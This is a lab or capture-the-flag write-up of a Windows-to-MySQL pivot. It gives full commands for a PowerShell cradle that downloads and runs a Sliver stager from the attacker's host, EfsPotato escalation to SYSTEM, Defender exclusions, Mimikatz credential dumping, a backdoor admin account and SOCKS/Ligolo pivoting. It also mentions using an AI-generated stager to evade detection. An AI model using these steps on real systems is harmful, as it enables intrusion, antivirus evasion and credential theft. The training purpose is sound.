Overview

The machine starts by leveraging a php webshell from a file upload vulnerability that leads to remote code execution, staging a Sliver shellcode via a Go stager to get a shell as j.smith, abusing SeImpersonatePrivilege with EfsPotato to get shell as nt authority\system to dump ntlm hashes and cracking the hash for p.richardson to recover cleartext credentials. It then pivots via socks5 and Ligolo to the internal network to reach the MySQL server and queries hacksmarter_db to retrieve the final flag.

Lab Starting Point

You are a member of the Hack Smarter Red Team and have been assigned to perform a black-box penetration test against a client's critical infrastructure. The scope is strictly limited to the following hostnames: web.hacksmarter: Public-facing Windows Web Server (Initial Access Point). Windows Defender is enabled. sqlsrv.hacksmarter: Internal Linux MySQL Database Server.

During the beginning of the engagement, another operator exploited a file upload vulnerability, and they have provided you with a web shell. http://web.hacksmarter/hacksmarter/shell.php?cmd=whoami

Setup

So we know we have a foothold through PHP shell but did a quick enumeration, the Windows target got RDP open also and the internal we don't know yet so let's setup this first add an entry in the hosts file

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$ echo '10.1.44.138 web.hacksmarter' | sudo tee -a /etc/hosts
10.1.44.138 web.hacksmarter

Validating the RCE, as you can see we have the user j.smith

Shell as J.smith

We know that the target's Defender is on, so we'll use Sliver (there is some other stuff we can try but this lab is made for Sliver practice)

What we need to do

  • generate a payload
  • create a stager to run this payload
  • find a way to move the stager and run it

we'll generate the payload using generate --mtls 10.200.87.215:8888 --os windows --arch amd64 --format shellcode --save shellcode.bin

And I will use this DeepSeek generated stager, it isn't supposed to get detected so let's see

So we compile the stager first

bash
┌─[]─[10.200.87.215]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui" -o stager.exe stager.go

And then we'll start a listener using python3 -m http.server 8443 We'll also base64 encode the payload so it doesn't get messy with the shell.php quotation and parsing Sometimes we don't have write access to the \Temp but we almost certainly have access to C:\Users\<user>\AppData\Local\Temp directory where I will download the stager and save it, then we'll run it from there

That's basically what this b64 blob does:

bash
┌─[]─[10.200.87.215]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$ echo 'Invoke-WebRequest -Uri "http://10.200.87.215:8443/stager.exe" -OutFile "$env:TEMP\stager.exe"; Start-Process "$env:TEMP\stager.exe"' | iconv -t utf16le | base64 -w 0
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwAxADAALgAyADAAMAAuADgANwAuADIAMQA1ADoAOAA0ADQAMwAvAHMAdABhAGcAZQByAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQAiAAoA┌─[]─[10.200.87.215]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$

Then we'll just invoke it using the curl command or the browser (it is just better using curl to troubleshoot if something went wrong).

bash
┌─[]─[10.200.87.215]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$ curl http://web.hacksmarter/hacksmarter/shell.php?cmd=powershell.exe%20-e%20SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwAxADAALgAyADAAMAAuADgANwAuADIAMQA1ADoAOAA0ADQAMwAvAHMAdABhAGcAZQByAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AGEAZwBlAHIALgBlAHgAZQAiAAoA

And as you can see we get session on Sliver after invoking the stager If you notice the http.server logs

  • It first downloads the stager, then the second part of the command invokes the stager where it'll download the shellcode.bin and start it in memory getting us the session

And as you can see we have session as j.smith

bash
[server] sliver > sessions d96b72d3

 ID Transport Remote Address Hostname Username Operating System Health
========== =========== =================== ================= ========== ================== =========
 d96b72d3 mtls 10.1.44.138:49976 EC2AMAZ-IBNMCK4 j.smith windows/amd64 [ALIVE]

[server] sliver > use d96b72d3

[*] Active session HUSHED_UNIQUE (d96b72d3-e977-45c0-9ba8-bd44b3f4a4de)

[server] sliver (HUSHED_UNIQUE) >

Listing the privileges we see that we have SeImpersonatePrivilege.

bash
[server] sliver (HUSHED_UNIQUE) > getprivs

[*] Session d96b72d3 has been updated - Sat, 29 Aug 2026 09:13:49 UTC
Privilege Information for stager.exe (PID: 1816)
------------------------------------------------

Process Integrity Level: High

Name Description Attributes
====                            ===========                                     ==========
SeChangeNotifyPrivilege Bypass traverse checking Enabled, Enabled by Default
SeImpersonatePrivilege Impersonate a client after authentication Enabled, Enabled by Default
SeCreateGlobalPrivilege Create global objects Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

[server] sliver (HUSHED_UNIQUE) >

Shell as NT\SYSTEM

Now we can download a potato and get SYSTEM on the target, it is just a matter of how are we gonna do that.

First thing comes to my mind is GodPotato obfuscated using pi_build So let's first obfuscate it

bash
jimmex@attacker:~$ pi_build --file GodPotato-NET4.exe --hostname 'EC2AMAZ-IBNMCK4' --args '-cmd cmd /c .\stager.exe'
[-] You aren't using --args and --writetofile. This is bad opsec. Are you sure you want to proceed? (Y/N): y
[+] Updated loader source files                                                                                                                               
[+] Obfuscated GodPotato-NET4.exe                                                                                                                             
[+] Encrypted and embedded GodPotato-NET4.exe as a resource file                                                                                              
[*] Building loader...please hold.                                                                                                                            
[+] Obfuscated loader                                                                                                                                         
[+] Adjusted entropy of loader to: 5.12                                                                                                                       
[+] Loader compiled to puggle_dungeon.exe  

We already passed the argument to start the stager again but it kept throwing this error that I couldn't reason so the other thing we can do is to compile the payload on the target

bash
PS C:\Users\j.smith\AppData\Local\Temp> .\puggle_dungeon.exe
.\puggle_dungeon.exe
[!] Value cannot be null.
Parameter name: type
PS C:\Users\j.smith\AppData\Local\Temp>

We can compile any potato, but when it comes to target compiling always use the EfsPotato cause it is just a single file which is easy to transfer to the target other than an entire repo So I moved the EfsPotato.cs file to the target

Then I compiled it

shell
PS C:\Users\j.smith\Desktop> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:svchost.exe EfsPotato.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:svchost.exe EfsPotato.cs
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

EfsPotato.cs(123,29): warning CS0618: 'System.IO.FileStream.FileStream(System.IntPtr, System.IO.FileAccess, bool)' is obsolete: 'This constructor has been deprecated.  Please use new FileStream(SafeFileHandle handle, FileAccess access) instead, and optionally make a new SafeFileHandle with ownsHandle=false if needed.  http://go.microsoft.com/fwlink/?linkid=14202'
PS C:\Users\j.smith\Desktop>

Just ignore the warning it worked just fine

Now if we test the resulting binary we are NT\SYSTEM

bash
PS C:\Users\j.smith\Desktop> .\svchost.exe whoami
.\svchost.exe whoami
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: EC2AMAZ-IBNMCK4\j.smith
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=12a6960)
[+] Get Token: 828
[!] process with pid: 1552 created.
==============================
nt authority\system
PS C:\Users\j.smith\Desktop>

So using the same binary we'll run the stager, which will get us another session but this time as NT\SYSTEM

bash
PS C:\Users\j.smith\Desktop> .\svchost.exe C:\Users\j.smith\AppData\Local\Temp\stager.exe
.\svchost.exe C:\Users\j.smith\AppData\Local\Temp\stager.exe
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: EC2AMAZ-IBNMCK4\j.smith
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=ea6950)
[+] Get Token: 860
[!] process with pid: 3504 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

[*] Session 51b1fc1b HUSHED_UNIQUE - 10.1.44.138:50065 (EC2AMAZ-IBNMCK4) - windows/amd64 - Sat, 29 Aug 2026 10:20:22 UTC

And we're NT\SYSTEM on the target

bash
[server] sliver (HUSHED_UNIQUE) > use e3fce14e

[*] Active session HUSHED_UNIQUE (e3fce14e-b843-4f27-8523-fc1a77f309dd)

[server] sliver (HUSHED_UNIQUE) > whoami

Logon ID: WORKGROUP\EC2AMAZ-IBNMCK4$
[*] Current Token ID: NT AUTHORITY\SYSTEM
[server] sliver (HUSHED_UNIQUE) >

Because we are SYSTEM on the target we can start dumping stuff using Mimikatz but we need to disable the AV first I started by disabling just the Real Time Monitoring but it wasn't enough and kept catching Mimikatz

bash
Set-MpPreference -DisableRealtimeMonitoring $true

So I just added the User's Desktop to the excluded paths and also added the mimikatz.exe as excluded process now we can run it

bash
PS C:\Users\j.smith\Desktop> Add-MpPreference -ExclusionPath "C:\Users\j.smith\Desktop"
Add-MpPreference -ExclusionPath "C:\Users\j.smith\Desktop"
PS C:\Users\j.smith\Desktop> Add-MpPreference -ExclusionProcess "mimikatz.exe"
Add-MpPreference -ExclusionProcess "mimikatz.exe"
PS C:\Users\j.smith\Desktop>

Running Mimikatz:

bash
PS C:\Users\j.smith\Desktop> ./mimikatz.exe
./mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #

I also mentioned earlier that RDP is open on the target so I added an administrator account just in case we need it

bash
PS C:\Users\j.smith\Desktop> net user jimmex Password123 /add
net user jimmex Password123 /add
The command completed successfully.

PS C:\Users\j.smith\Desktop> net localgroup administrators jimmex /add
net localgroup administrators jimmex /add
The command completed successfully.

PS C:\Users\j.smith\Desktop>

Using Mimikatz to dump credentials we get two pair of credentials, for b.morgan and p.richardson

And because we know the internal MySQL DB is a separate system we can't use the hashes and we have to crack them instead

Tried to crack both hashes but Richardson's is the only one that cracked

And b.morgan exhausted the list as you can see

Now at this point we have two ways to pivot to the internal network: Either by using the socks5 from Sliver directly which is faster or using Ligolo from the RDP session Let's try both

Pivot using socks5

First we start the socks:

bash
[server] sliver (HUSHED_UNIQUE) > socks5 start

[*] Started SOCKS5 127.0.0.1 1081  
⚠️  In-band SOCKS proxies can be a little unstable depending on protocol

Then we make sure to add the line socks5 127.0.0.1 1081 just telling proxychains where to route the traffic and Sliver started the socks at 1081 that's why we choose this port

bash
jimmex@attacker:~$ tail -2 /etc/proxychains.conf
socks5 127.0.0.1 1081

Doing a full scan using proxychains is painful and extremely slow so I just scanned the port 3306 cause we already know there is SQL server in place

Mysql as p.richardson

Then we connect to the target to get the flag which is stored at hacksmarter_db in the final_config table

Alternative pivoting approach: RDP session + Ligolo

As you can see we are administrator as jimmex on the target, we could've ran Mimikatz from jimmex context

We can also use Ligolo for this, we create the tunnel device Ligolo

Then we setup routes and start tunneling the internal subnet which is 10.1.0.0/18

We could do that from the shell also:

bash
┌─[]─[10.200.87.215]─[jimmex@attacker]─[~/HSM/Staged]
└──╼ [★]$ sudo ip route add 10.1.0.0/18 dev ligolo

And from there we just go the same mysql -h 10.1.179.56 -P 3306 -u p.richardson -p but without proxychains.

Path

That's what we did in this machine Pasted image 20260830144109.png

Resources